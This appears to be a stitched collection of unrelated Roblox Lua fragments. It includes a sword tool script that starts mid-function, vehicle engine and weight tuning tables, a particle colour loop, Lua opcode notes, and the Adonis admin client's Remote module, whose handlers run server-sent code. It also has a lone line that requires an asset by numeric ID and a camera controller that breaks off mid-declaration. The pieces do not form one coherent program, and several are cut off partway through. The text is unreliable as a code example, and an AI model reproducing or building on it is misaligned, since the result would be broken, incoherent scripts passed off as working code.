Humanoid:LoadAnimation(Anim) Track:Play(0) end end end --[[ if CheckIfAlive() then local Force = Instance.new("BodyVelocity") Force.velocity = Vector3.new(0, 10, 0) Force.maxForce = Vector3.new(0, 4000, 0) Debris:AddItem(Force, 0.4) Force.Parent = Torso end ]] task.wait(0.2) Tool.Grip = Grips.Out task.wait(0.6) Tool.Grip = Grips.Up Damage = DamageValues.SlashDamage end Tool.Enabled = true LastAttack = 0 function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end Tool.Enabled = false local Tick = RunService.Stepped:wait() if (Tick - LastAttack < 0.2) then Lunge() else Attack() end LastAttack = Tick --task.wait(0.5) Damage = DamageValues.BaseDamage local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){ Name = "R15Slash", AnimationId = BaseUrl .. Animations.R15Slash, Parent = Tool }) local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){ Name = "R15Lunge", AnimationId = BaseUrl .. Animations.R15Lunge, Parent = Tool }) Tool.Enabled = true end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChildOfClass("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart") if not CheckIfAlive() then return end ToolEquipped = true Sounds.Unsheath:Play() end function Unequipped() Tool.Grip = Grips.Up ToolEquipped = false end Tool.Activated:Connect(Activated) Tool.Equipped:Connect(Equipped) Tool.Unequipped:Connect(Unequipped) Connection = Handle.Touched:Connect(Blow)
--[[ Destroys the system ]]
function BaseSystem:destroy() for _, connection in pairs(self._connections) do connection:Disconnect() end self._isActive = false end return BaseSystem
--[[Engine]]
--Torque Curve Tune.Horsepower = 325 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--NOTE: speed may be slower than you want due to server lag
local waittime = speed/60 while true do for x=1,20 do color = Color3.new(color.r+.05,0,color.b-.05) particle.Color = ColorSequence.new(color) wait(waittime) end for x=1,20 do color = Color3.new(color.r-.05,color.g+.05,0) particle.Color = ColorSequence.new(color) wait(waittime) end for x=1,20 do color = Color3.new(0,color.g-.05,color.b+.05) particle.Color = ColorSequence.new(color) wait(waittime) end end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 2 -- cooldown for use of the tool again ZoneModelName = "Homing dog" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[[ =========================================================================== Notes: (*) In OP_CALL, if (B == 0) then B = top. C is the number of returns - 1, and can be 0: OP_CALL then sets 'top' to last_result+1, so next open instruction (OP_CALL, OP_RETURN, OP_SETLIST) may use 'top'. (*) In OP_VARARG, if (B == 0) then use actual number of varargs and set top (like in OP_CALL with C == 0). (*) In OP_RETURN, if (B == 0) then return up to 'top' (*) In OP_SETLIST, if (B == 0) then B = 'top'; if (C == 0) then next 'instruction' is real C (*) For comparisons, A specifies what condition the test should accept (true or false). (*) All 'skips' (pc++) assume that next instruction is a jump =========================================================================== --]]
--[[Weight and CG]]
-- Tune.Weight = 450 + 150 -- Bike weight in LBS Tune.WeightBrickSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 3 , --[[Height]] 3 , --[[Length]] 8 } Tune.WeightDistribution = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = 0.8 -- Center of gravity height (studs relative to median of the wheels) Tune.WBVisible = false -- Makes the weight brick visible (Debug) Tune.BalVisible = false -- Makes the balance brick visible (Debug)
--// Remote
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay local script = script local service = Vargs.Service local client = Vargs.Client local Anti, Core, Functions, Process, Remote, UI, Variables local function Init() UI = client.UI; Anti = client.Anti; Core = client.Core; Variables = client.Variables Functions = client.Functions; Process = client.Process; Remote = client.Remote; Remote.Init = nil; end local function RunAfterLoaded() --// Report client finished loading log("~! Fire client loaded") client.Remote.Send("ClientLoaded") --// Ping loop log("~! Start ClientCheck loop"); task.delay(5, function() service.StartLoop("ClientCheck", 30, Remote.CheckClient, true) end) --// Get settings log("Get settings"); local settings = client.Remote.Get("Setting",{"G_API","Allowed_API_Calls","HelpButtonImage"}) if settings then client.G_API = settings.G_API --client.G_Access = settings.G_Access --client.G_Access_Key = settings.G_Access_Key --client.G_Access_Perms = settings.G_Access_Perms client.Allowed_API_Calls = settings.Allowed_API_Calls client.HelpButtonImage = settings.HelpButtonImage else log("~! GET SETTINGS FAILED?") warn("FAILED TO GET SETTINGS FROM SERVER"); end Remote.RunAfterLoaded = nil; end local function RunLast() --[[client = service.ReadOnly(client, { [client.Variables] = true; [client.Handlers] = true; G_API = true; G_Access = true; G_Access_Key = true; G_Access_Perms = true; Allowed_API_Calls = true; HelpButtonImage = true; Finish_Loading = true; RemoteEvent = true; ScriptCache = true; Returns = true; PendingReturns = true; EncodeCache = true; DecodeCache = true; Received = true; Sent = true; Service = true; Holder = true; GUIs = true; LastUpdate = true; RateLimits = true; Init = true; RunLast = true; RunAfterInit = true; RunAfterLoaded = true; RunAfterPlugins = true; }, true)--]] Remote.RunLast = nil; end getfenv().client = nil getfenv().service = nil getfenv().script = nil client.Remote = { Init = Init; RunLast = RunLast; RunAfterLoaded = RunAfterLoaded; Returns = {}; PendingReturns = {}; EncodeCache = {}; DecodeCache = {}; Received = 0; Sent = 0; CheckClient = function() if os.time() - Core.LastUpdate >= 10 then Remote.Send("ClientCheck", { Sent = Remote.Sent or 0; Received = Remote.Received; }, client.DepsName) end end; Returnables = { Test = function(args) return "HELLO FROM THE CLIENT SIDE :)! ", unpack(args) end; Ping = function(args) return Remote.Ping() end; ClientHooked = function(args) return Core.Special end; TaskManager = function(args) local action = args[1] if action == "GetTasks" then local tab = {} for _, v in service.GetTasks() do local new = {} new.Status = v.Status new.Name = v.Name new.Index = v.Index new.Created = v.Created new.CurrentTime = os.time() new.Function = tostring(v.Function) table.insert(tab,new) end return tab end end; LoadCode = function(args) local code = args[1] local func = Core.LoadCode(code, GetEnv()) if func then return func() end end; Function = function(args) local func = client.Functions[args[1]] if func and type(func) == "function" then return func(unpack(args, 2)) end end; Handler = function(args) local handler = client.Handlers[args[1]] if handler and type(handler) == "function" then return handler(unpack(args, 2)) end end; UIKeepAlive = function(args) if Variables.UIKeepAlive then for _, g in client.GUIs do if g.KeepAlive then if g.Class == "ScreenGui" or g.Class == "GuiMain" then g.Object.Parent = service.Player.PlayerGui elseif g.Class == "TextLabel" then g.Object.Parent = UI.GetHolder() end g.KeepAlive = false end end end return true; end; UI = function(args) local guiName = args[1] local themeData = args[2] local guiData = args[3] Variables.LastServerTheme = themeData or Variables.LastServerTheme; return UI.Make(guiName, guiData, themeData) end; InstanceList = function(args) local objects = service.GetAdonisObjects() local temp = {} for _, v in objects do table.insert(temp, { Text = v:GetFullName(); Desc = v.ClassName; }) end return temp end; ClientLog = function(args) local MESSAGE_TYPE_COLORS = { [Enum.MessageType.MessageWarning] = Color3.fromRGB(221, 187, 13), [Enum.MessageType.MessageError] = Color3.fromRGB(255, 50, 14), [Enum.MessageType.MessageInfo] = Color3.fromRGB(14, 78, 255) } local tab = {} local logHistory: {{message: string, messageType: Enum.MessageType, timestamp: number}} = service.LogService:GetLogHistory() for i = #logHistory, 1, -1 do local log = logHistory[i] for i, v in service.ExtractLines(log.message) do table.insert(tab, { Text = v; Time = if i == 1 then log.timestamp else nil; Desc = log.messageType.Name:match("^Message(.+)$"); Color = MESSAGE_TYPE_COLORS[log.messageType]; }) end end return tab end; LocallyFormattedTime = function(args) if type(args[1]) == "table" then local results = {} for i, t in args[1] do results[i] = service.FormatTime(t, select(2, unpack(args))) end return results end return service.FormatTime(unpack(args)) end; }; UnEncrypted = setmetatable({}, { __newindex = function(_, ind, val) warn("Remote.UnEncrypted is deprecated; moving", ind, "to Remote.Commands") Remote.Commands[ind] = val end }); Commands = { GetReturn = function(args) print("THE SERVER IS ASKING US FOR A RETURN"); local com = args[1] local key = args[2] local parms = {unpack(args, 3)} local retfunc = Remote.Returnables[com] local retable = (retfunc and {pcall(retfunc,parms)}) or {} if retable[1] ~= true then logError(retable[2]) Remote.Send("GiveReturn", key, "__ADONIS_RETURN_ERROR", retable[2]) else print("SENT RETURN"); Remote.Send("GiveReturn", key, unpack(retable,2)) end end; GiveReturn = function(args) print("SERVER GAVE US A RETURN") if Remote.PendingReturns[args[1]] then print("VALID PENDING RETURN") Remote.PendingReturns[args[1]] = nil service.Events[args[1]]:Fire(unpack(args, 2)) end end; SessionData = function(args) local sessionKey = args[1]; if sessionKey then service.Events.SessionData:Fire(sessionKey, table.unpack(args, 2)) end end; SetVariables = function(args) local vars = args[1] for var, val in vars do Variables[var] = val end end; Print = function(args) print(unpack(args)) end; FireEvent = function(args) service.FireEvent(unpack(args)) end; Test = function(args) print(`OK WE GOT COMMUNICATION! ORGL: {args[1]}`) end; TestError = function(args) error("THIS IS A TEST ERROR") end; TestEvent = function(args) Remote.PlayerEvent(args[1],unpack(args,2)) end; LoadCode = function(args) local code = args[1] local func = Core.LoadCode(code, GetEnv()) if func then return func() end end; LaunchAnti = function(args) Anti.Launch(args[1],args[2]) end; UI = function(args) local guiName = args[1] local themeData = args[2] local guiData = args[3] Variables.LastServerTheme = themeData or Variables.LastServerTheme; UI.Make(guiName,guiData,themeData) end; RemoveUI = function(args) UI.Remove(args[1],args[2]) end; RefreshUI = function(args) local guiName = args[1] local ignore = args[2] UI.Remove(guiName,ignore) local themeData = args[3] local guiData = args[4] Variables.LastServerTheme = themeData or Variables.LastServerTheme; UI.Make(guiName,guiData,themeData) end; StartLoop = function(args) local name = args[1] local delay = args[2] local code = args[3] local func = Core.LoadCode(code, GetEnv()) if name and delay and code and func then service.StartLoop(name,delay,func) end end; StopLoop = function(args) service.StopLoop(args[1]) end; Function = function(args) local func = client.Functions[args[1]] if func and type(func) == "function" then Pcall(func,unpack(args,2)) end end; Handler = function(args) local handler = client.Handlers[args[1]] if handler and type(handler) == "function" then Pcall(handler, unpack(args, 2)) end end; }; Fire = function(...) local limits = Process.RateLimits local limit = (limits and limits.Remote) or 0.01; local RemoteEvent = Core.RemoteEvent; local extra = {...}; if RemoteEvent and RemoteEvent.Object then service.Queue("REMOTE_SEND", function() Remote.Sent = Remote.Sent+1; RemoteEvent.Object:FireServer({Mode = "Fire", Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received}, unpack(extra)); task.wait(limit); end) end end; Send = function(com,...) Core.LastUpdate = os.time() Remote.Fire(Remote.Encrypt(com,Core.Key),...) end; GetFire = function(...) local RemoteEvent = Core.RemoteEvent; local limits = Process.RateLimits; local limit = (limits and limits.Remote) or 0.02; local extra = {...}; local returns; if RemoteEvent and RemoteEvent.Function then local Yield = service.Yield(); service.Queue("REMOTE_SEND", function() Remote.Sent = Remote.Sent+1; task.delay(0, function() -- Wait for return in new thread; We don't want to hold the entire fire queue up while waiting for one thing to return since we just want to limit fire speed; returns = { RemoteEvent.Function:InvokeServer({ Mode = "Get", Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received }, unpack(extra)) } Yield:Release(returns); end) task.wait(limit) end) if not returns then Yield:Wait(); end Yield:Destroy(); if returns then return unpack(returns) end end end; RawGet = function(...) local extra = {...}; local RemoteEvent = Core.RemoteEvent; if RemoteEvent and RemoteEvent.Function then Remote.Sent = Remote.Sent+1; return RemoteEvent.Function:InvokeServer({Mode = "Get", Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received}, unpack(extra)); end end; Get = function(com,...) Core.LastUpdate = os.time() local ret = Remote.GetFire(Remote.Encrypt(com,Core.Key),...) if type(ret) == "table" then return unpack(ret); else return ret; end end; OldGet = function(com,...) local returns local key = Functions:GetRandom() local waiter = service.New("BindableEvent"); local event = service.Events[key]:Connect(function(...) print("WE ARE GETTING A RETURN!") returns = {...} waiter:Fire() task.wait() waiter:Fire() waiter:Destroy() end) Remote.PendingReturns[key] = true Remote.Send("GetReturn",com,key,...) print(string.format("GETTING RETURNS? %s", tostring(returns))) --returns = returns or {event:Wait()} waiter.Event:Wait(); print(string.format("WE GOT IT! %s", tostring(returns))) event:Disconnect() if returns then if returns[1] == "__ADONIS_RETURN_ERROR" then error(returns[2]) else return unpack(returns) end else return nil end end; Ping = function() local t = time() local ping = Remote.Get("Ping") if not ping then return false end local t2 = time() local mult = 10^3 local ms = ((math.floor((t2-t)*mult+0.5)/mult)*1000) return ms end; PlayerEvent = function(event,...) Remote.Send("PlayerEvent",event,...) end; Encrypt = function(str, key, cache) cache = cache or Remote.EncodeCache or {} if not key or not str then return str elseif cache[key] and cache[key][str] then return cache[key][str] else local byte = string.byte local sub = string.sub local char = string.char local keyCache = cache[key] or {} local endStr = {} for i = 1, #str do local keyPos = (i % #key) + 1 endStr[i] = char(((byte(sub(str, i, i)) + byte(sub(key, keyPos, keyPos)))%126) + 1) end endStr = table.concat(endStr) cache[key] = keyCache keyCache[str] = endStr return endStr end end; Decrypt = function(str, key, cache) cache = cache or Remote.DecodeCache or {} if not key or not str then return str elseif cache[key] and cache[key][str] then return cache[key][str] else local keyCache = cache[key] or {} local byte = string.byte local sub = string.sub local char = string.char local endStr = {} for i = 1, #str do local keyPos = (i % #key)+1 endStr[i] = char(((byte(sub(str, i, i)) - byte(sub(key, keyPos, keyPos)))%126) - 1) end endStr = table.concat(endStr) cache[key] = keyCache keyCache[str] = endStr return endStr end end; } end
--/ Initialization /--
require(4593408411).start(script,config)
-- Setup gesture area that camera uses while DynamicThumbstick is enabled
local function OnCharacterAdded(character) if UserInputService.TouchEnabled then for _, child in ipairs(LocalPlayer.Character:GetChildren()) do if child:IsA("Tool") then IsAToolEquipped = true end end character.ChildAdded:Connect(function(child) if child:IsA("Tool") then IsAToolEquipped = true end end) character.ChildRemoved:Connect(function(child) if child:IsA("Tool") then IsAToolEquipped = false end end) if PlayerGui then local TouchGui = PlayerGui:FindFirstChild("TouchGui") if TouchGui and TouchGui:WaitForChild("GestureArea", 0.5) then GestureArea = TouchGui.GestureArea GestureAreaManagedByControlScript = true else GestureAreaManagedByControlScript = false local ScreenGui = Instance.new("ScreenGui") ScreenGui.Name = "GestureArea" ScreenGui.Parent = PlayerGui GestureArea = Instance.new("Frame") GestureArea.BackgroundTransparency = 1.0 GestureArea.Visible = true GestureArea.BackgroundColor3 = Color3.fromRGB(0, 0, 0) layoutGestureArea(PortraitMode) GestureArea.Parent = ScreenGui end end end end if LocalPlayer then if LocalPlayer.Character ~= nil then OnCharacterAdded(LocalPlayer.Character) end LocalPlayer.CharacterAdded:connect(function(character) OnCharacterAdded(character) end) end local function positionIntersectsGuiObject(position, guiObject) if position.X < guiObject.AbsolutePosition.X + guiObject.AbsoluteSize.X and position.X > guiObject.AbsolutePosition.X and position.Y < guiObject.AbsolutePosition.Y + guiObject.AbsoluteSize.Y and position.Y > guiObject.AbsolutePosition.Y then return true end return false end local function GetRenderCFrame(part) return part:GetRenderCFrame() end local function CreateCamera() local this = {} local R15HeadHeight = R15_HEAD_OFFSET function this:GetActivateValue() return 0.7 end function this:IsPortraitMode() return PortraitMode end function this:GetRotateAmountValue(vrRotationIntensity) vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity") if vrRotationIntensity then if vrRotationIntensity == "Low" then return VR_LOW_INTENSITY_ROTATION elseif vrRotationIntensity == "High" then return VR_HIGH_INTENSITY_ROTATION end end return ZERO_VECTOR2 end function this:GetRepeatDelayValue(vrRotationIntensity) vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity") if vrRotationIntensity then if vrRotationIntensity == "Low" then return VR_LOW_INTENSITY_REPEAT elseif vrRotationIntensity == "High" then return VR_HIGH_INTENSITY_REPEAT end end return 0 end this.ShiftLock = false this.Enabled = false local isFirstPerson = false local isRightMouseDown = false local isMiddleMouseDown = false this.RotateInput = ZERO_VECTOR2 this.DefaultZoom = LANDSCAPE_DEFAULT_ZOOM this.activeGamepad = nil local tweens = {} this.lastSubject = nil this.lastSubjectPosition = Vector3.new(0, 5, 0) local lastVRRotation = 0 local vrRotateKeyCooldown = {} local isDynamicThumbstickEnabled = false local dynamicThumbstickFrame = nil local function getDynamicThumbstickFrame() if dynamicThumbstickFrame and dynamicThumbstickFrame:IsDescendantOf(game) then return dynamicThumbstickFrame else local touchGui = PlayerGui:FindFirstChild("TouchGui") if not touchGui then return nil end local touchControlFrame = touchGui:FindFirstChild("TouchControlFrame") if not touchControlFrame then return nil end dynamicThumbstickFrame = touchControlFrame:FindFirstChild("DynamicThumbstickFrame") return dynamicThumbstickFrame end end -- Check for changes in ViewportSize to decide if PortraitMode local CameraChangedConn = nil local workspaceCameraChangedConn = nil local function onWorkspaceCameraChanged() if UserInputService.TouchEnabled then if CameraChangedConn then CameraChangedConn:Disconnect() CameraChangedConn = nil end local newCamera = workspace.CurrentCamera if newCamera then local size = newCamera.ViewportSize PortraitMode = size.X < size.Y layoutGestureArea(PortraitMode) DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM CameraChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function() size = newCamera.ViewportSize PortraitMode = size.X < size.Y layoutGestureArea(PortraitMode) DefaultZoom = PortraitMode and PORTRAIT_DEFAULT_ZOOM or LANDSCAPE_DEFAULT_ZOOM end) end end end workspaceCameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onWorkspaceCameraChanged) if workspace.CurrentCamera then onWorkspaceCameraChanged() end function this:GetShiftLock() return ShiftLockController:IsShiftLocked() end function this:GetHumanoid() local player = PlayersService.LocalPlayer return findPlayerHumanoid(player) end function this:GetHumanoidRootPart() local humanoid = this:GetHumanoid() return humanoid and humanoid.Torso end function this:GetRenderCFrame(part) GetRenderCFrame(part) end local STATE_DEAD = Enum.HumanoidStateType.Dead -- HumanoidRootPart when alive, Head part when dead local function getHumanoidPartToFollow(humanoid, humanoidStateType) if humanoidStateType == STATE_DEAD then local character = humanoid.Parent if character then return character:FindFirstChild("Head") or humanoid.Torso else return humanoid.Torso end else return humanoid.Torso end end local HUMANOID_STATE_DEAD = Enum.HumanoidStateType.Dead function this:GetSubjectPosition() local result = nil local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if cameraSubject then if cameraSubject:IsA('Humanoid') then local humanoidStateType = cameraSubject:GetState() if VRService.VREnabled and humanoidStateType == STATE_DEAD and cameraSubject == this.lastSubject then result = this.lastSubjectPosition else local humanoidRootPart = getHumanoidPartToFollow(cameraSubject, humanoidStateType) if humanoidRootPart and humanoidRootPart:IsA('BasePart') then local subjectCFrame = GetRenderCFrame(humanoidRootPart) local heightOffset = ZERO_VECTOR3 if humanoidStateType ~= STATE_DEAD then heightOffset = cameraSubject.RigType == Enum.HumanoidRigType.R15 and R15HeadHeight or HEAD_OFFSET end if PortraitMode then heightOffset = heightOffset + Vector3.new(0, PORTRAIT_MODE_CAMERA_OFFSET, 0) end result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(heightOffset + cameraSubject.CameraOffset) end end elseif cameraSubject:IsA('VehicleSeat') then local subjectCFrame = GetRenderCFrame(cameraSubject) local offset = SEAT_OFFSET if VRService.VREnabled then offset = VR_SEAT_OFFSET end result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(offset) elseif cameraSubject:IsA('SkateboardPlatform') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p + SEAT_OFFSET elseif cameraSubject:IsA('BasePart') then local subjectCFrame = GetRenderCFrame(cameraSubject) result = subjectCFrame.p elseif cameraSubject:IsA('Model') then result = cameraSubject:GetModelCFrame().p end end this.lastSubject = cameraSubject this.lastSubjectPosition = result return result end function this:ResetCameraLook() end function this:GetCameraLook() return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1) end function this:GetCameraZoom() if this.currentZoom == nil then local player = PlayersService.LocalPlayer this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, this.DefaultZoom) or this.DefaultZoom end return this.currentZoom end function this:GetCameraActualZoom() local camera = workspace.CurrentCamera if camera then return (camera.CoordinateFrame.p - camera.Focus.p).magnitude end end function this:GetCameraHeight() if VRService.VREnabled and not this:IsInFirstPerson() then local zoom = this:GetCameraZoom() return math.sin(VR_ANGLE) * zoom end return 0 end function this:ViewSizeX() local result = 1024 local camera = workspace.CurrentCamera if camera then result = camera.ViewportSize.X end return result end function this:ViewSizeY() local result = 768 local camera = workspace.CurrentCamera if camera then result = camera.ViewportSize.Y end return result end local math_asin = math.asin local math_atan2 = math.atan2 local math_floor = math.floor local math_max = math.max local math_pi = math.pi local Vector2_new = Vector2.new local Vector3_new = Vector3.new local CFrame_Angles = CFrame.Angles local CFrame_new = CFrame.new function this:ScreenTranslationToAngle(translationVector) local screenX = this:ViewSizeX() local screenY = this:ViewSizeY() local xTheta = (translationVector.x / screenX) local yTheta = (translationVector.y / screenY) return Vector2_new(xTheta, yTheta) end function this:MouseTranslationToAngle(translationVector) local xTheta = (translationVector.x / 1920) local yTheta = (translationVector.y / 1200) return Vector2_new(xTheta, yTheta) end function this:RotateVector(startVector, xyRotateVector) local startCFrame = CFrame_new(ZERO_VECTOR3, startVector) local resultLookVector = (CFrame_Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame_Angles(-xyRotateVector.y,0,0)).lookVector return resultLookVector, Vector2_new(xyRotateVector.x, xyRotateVector.y) end function this:RotateCamera(startLook, xyRotateVector) if VRService.VREnabled then local yawRotatedVector, xyRotateVector = self:RotateVector(startLook, Vector2.new(xyRotateVector.x, 0)) return Vector3_new(yawRotatedVector.x, 0, yawRotatedVector.z).unit, xyRotateVector else local startVertical = math_asin(startLook.y) local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y) return self:RotateVector(startLook, Vector2_new(xyRotateVector.x, yTheta)) end end function this:IsInFirstPerson() return isFirstPerson end -- there are several cases to consider based on the state of input and camera rotation mode function this:UpdateMouseBehavior() -- first time transition to first person mode or shiftlock local camera = workspace.CurrentCamera if camera.CameraType == Enum.CameraType.Scriptable then return end if isFirstPerson or self:GetShiftLock() then pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end) if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter end else pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end) if isRightMouseDown or isMiddleMouseDown then UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition else UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end end function this:ZoomCamera(desiredZoom) local player = PlayersService.LocalPlayer if player then if player.CameraMode == Enum.CameraMode.LockFirstPerson then this.currentZoom = 0 else this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom) end end isFirstPerson = self:GetCameraZoom() < 2 ShiftLockController:SetIsInFirstPerson(isFirstPerson) -- set mouse behavior self:UpdateMouseBehavior() return self:GetCameraZoom() end function this:rk4Integrator(position, velocity, t) local direction = velocity < 0 and -1 or 1 local function acceleration(p, v) local accel = direction * math_max(1, (p / 3.3) + 0.5) return accel end local p1 = position local v1 = velocity local a1 = acceleration(p1, v1) local p2 = p1 + v1 * (t / 2) local v2 = v1 + a1 * (t / 2) local a2 = acceleration(p2, v2) local p3 = p1 + v2 * (t / 2) local v3 = v1 + a2 * (t / 2) local a3 = acceleration(p3, v3) local p4 = p1 + v3 * t local v4 = v1 + a3 * t local a4 = acceleration(p4, v4) local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6) local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6) return positionResult, velocityResult end function this:ZoomCameraBy(zoomScale) local zoom = this:GetCameraActualZoom() if zoom then -- Can break into more steps to get more accurate integration zoom = self:rk4Integrator(zoom, zoomScale, 1) self:ZoomCamera(zoom) end return self:GetCameraZoom() end function this:ZoomCameraFixedBy(zoomIncrement) return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement) end function this:Update() end ----- VR STUFF ------ function this:ApplyVRTransform() if not VRService.VREnabled then return end --we only want this to happen in first person VR local player = PlayersService.LocalPlayer if not (player and player.Character and player.Character:FindFirstChild("HumanoidRootPart") and player.Character.HumanoidRootPart:FindFirstChild("RootJoint")) then return end local camera = workspace.CurrentCamera local cameraSubject = camera.CameraSubject local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat') if this:IsInFirstPerson() and not isInVehicle then local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head) local vrRotation = vrFrame - vrFrame.p local rootJoint = player.Character.HumanoidRootPart.RootJoint rootJoint.C0 = CFrame.new(vrRotation:vectorToObjectSpace(vrFrame.p)) * CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) else local rootJoint = player.Character.HumanoidRootPart.RootJoint rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) end end local vrRotationIntensityExists = true local lastVrRotationCheck = 0 function this:ShouldUseVRRotation() if not VRService.VREnabled then return false end if not vrRotationIntensityExists and tick() - lastVrRotationCheck < 1 then return false end local success, vrRotationIntensity = pcall(function() return StarterGui:GetCore("VRRotationIntensity") end) vrRotationIntensityExists = success and vrRotationIntensity ~= nil lastVrRotationCheck = tick() return success and vrRotationIntensity ~= nil and vrRotationIntensity ~= "Smooth" end function this:GetVRRotationInput() local vrRotateSum = ZERO_VECTOR2 local vrRotationIntensity = StarterGui:GetCore("VRRotationIntensity") local vrGamepadRotation = self.GamepadPanningCamera or ZERO_VECTOR2 local delayExpired = (tick() - lastVRRotation) >= self:GetRepeatDelayValue(vrRotationIntensity) if math.abs(vrGamepadRotation.x) >= self:GetActivateValue() then if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2]) then local sign = 1 if vrGamepadRotation.x < 0 then sign = -1 end vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) * sign vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = true end elseif math.abs(vrGamepadRotation.x) < self:GetActivateValue() - 0.1 then vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = nil end if self.TurningLeft then if delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Left] then vrRotateSum = vrRotateSum - self:GetRotateAmountValue(vrRotationIntensity) vrRotateKeyCooldown[Enum.KeyCode.Left] = true end else vrRotateKeyCooldown[Enum.KeyCode.Left] = nil end if self.TurningRight then if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Right]) then vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) vrRotateKeyCooldown[Enum.KeyCode.Right] = true end else vrRotateKeyCooldown[Enum.KeyCode.Right] = nil end if vrRotateSum ~= ZERO_VECTOR2 then lastVRRotation = tick() end return vrRotateSum end local cameraTranslationConstraints = Vector3.new(1, 1, 1) local humanoidJumpOrigin = nil local trackingHumanoid = nil local cameraFrozen = false local subjectStateChangedConn = nil local cameraSubjectChangedConn = nil local workspaceChangedConn = nil local humanoidChildAddedConn = nil local humanoidChildRemovedConn = nil local function cancelCameraFreeze(keepConstraints) if not keepConstraints then cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 1, cameraTranslationConstraints.z) end if cameraFrozen then trackingHumanoid = nil cameraFrozen = false end end local function startCameraFreeze(subjectPosition, humanoidToTrack) if not cameraFrozen then humanoidJumpOrigin = subjectPosition trackingHumanoid = humanoidToTrack cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 0, cameraTranslationConstraints.z) cameraFrozen = true end end local function rescaleCameraOffset(newScaleFactor) R15HeadHeight = R15_HEAD_OFFSET*newScaleFactor end local function 